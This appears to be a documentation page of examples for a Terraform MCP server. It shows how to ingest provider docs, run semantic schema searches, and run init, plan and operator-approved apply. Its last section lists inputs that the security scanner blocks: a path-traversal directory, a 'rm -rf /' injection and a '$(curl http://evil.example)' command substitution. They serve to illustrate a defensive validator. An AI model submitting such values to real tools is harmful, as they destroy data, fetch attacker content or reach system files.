Skip to main content
Ecosystem & Marketplaces›Open-Source MCP Servers (10)›Terraform MCP Server›Examples

Examples and workflows

Practical patterns for combining ingest_terraform_docs, terraform_doc_search, and terraform_execute to build, validate, and plan Terraform modules without hallucinated provider syntax.

1. Provider documentation ingestion​

Ingest specific AWS service resources​

Ingest the AWS provider resource and data source documentation for EC2, VPC, and S3 into Neo4j.

await ingest_terraform_docs(
    filter_types=["resource", "data_source"],
    filter_services=["EC2", "VPC", "S3"],
)

Ingest internal engineering best practices​

Index our internal Terraform module standards and state management guidelines from the docs/ directory.

await ingest_terraform_docs(
    filter_types=["best_practice"],
    scan_dirs=["docs/", "terraform_mcp_server/docs/"],
)

2. Semantic schema and best-practice lookup​

Search for resource syntax and nested blocks​

Find the current AWS provider resource syntax for configuring S3 bucket server-side KMS encryption and versioning.

await terraform_doc_search(
    query="AWS S3 bucket KMS server-side encryption and versioning configuration",
    top_k=5,
    similarity_threshold=0.75,
    node_types=["resource"],
)

Combine resource schemas with architecture best practices​

Search for multi-AZ VPC subnet layout resources alongside our Terraform networking best practices.

await terraform_doc_search(
    query="Multi-AZ VPC public private subnet NAT gateway configuration",
    top_k=8,
    similarity_threshold=0.65,
    node_types=["resource", "best_practice"],
)

3. Sandboxed Terraform execution​

Initialize, validate, and plan a module​

Initialize and run terraform plan in /tmp/vpc-module for the production environment in us-west-2.

# Step 1: Initialize providers and backend
await terraform_execute(
    command="init",
    working_directory="/tmp/vpc-module",
)

# Step 2: Validate HCL syntax
await terraform_execute(
    command="validate",
    working_directory="/tmp/vpc-module",
)

# Step 3: Generate execution plan with typed variables
await terraform_execute(
    command="plan",
    working_directory="/tmp/vpc-module",
    variables={
        "environment": "production",
        "vpc_cidr": "10.20.0.0/16",
        "az_count": "3",
    },
    aws_region="us-west-2",
    timeout=600,
)

Apply after operator review​

Once the human operator reviews and approves the terraform plan output, execute apply:

await terraform_execute(
    command="apply",
    working_directory="/tmp/vpc-module",
    variables={
        "environment": "production",
        "vpc_cidr": "10.20.0.0/16",
        "az_count": "3",
    },
    aws_region="us-west-2",
    strip_ansi=True,
)

Security validation examples​

All variables and working_directory values passed to terraform_execute are validated before subprocess invocation:

# Allowed: clean scalar variables inside an allowed working directory
await terraform_execute(
    command="plan",
    working_directory="/tmp/project",
    variables={
        "environment": "production",
        "instance_type": "t3.micro",
        "instance_count": "3",
    },
)

# Blocked by security scanner: command injection & path traversal
await terraform_execute(
    command="plan",
    working_directory="/tmp/../../../etc",     # Blocked: directory traversal
    variables={
        "name": "app; rm -rf /",               # Blocked: shell metacharacter ';'
        "tag": "$(curl http://evil.example)",  # Blocked: command substitution '$('
    },
)
On this page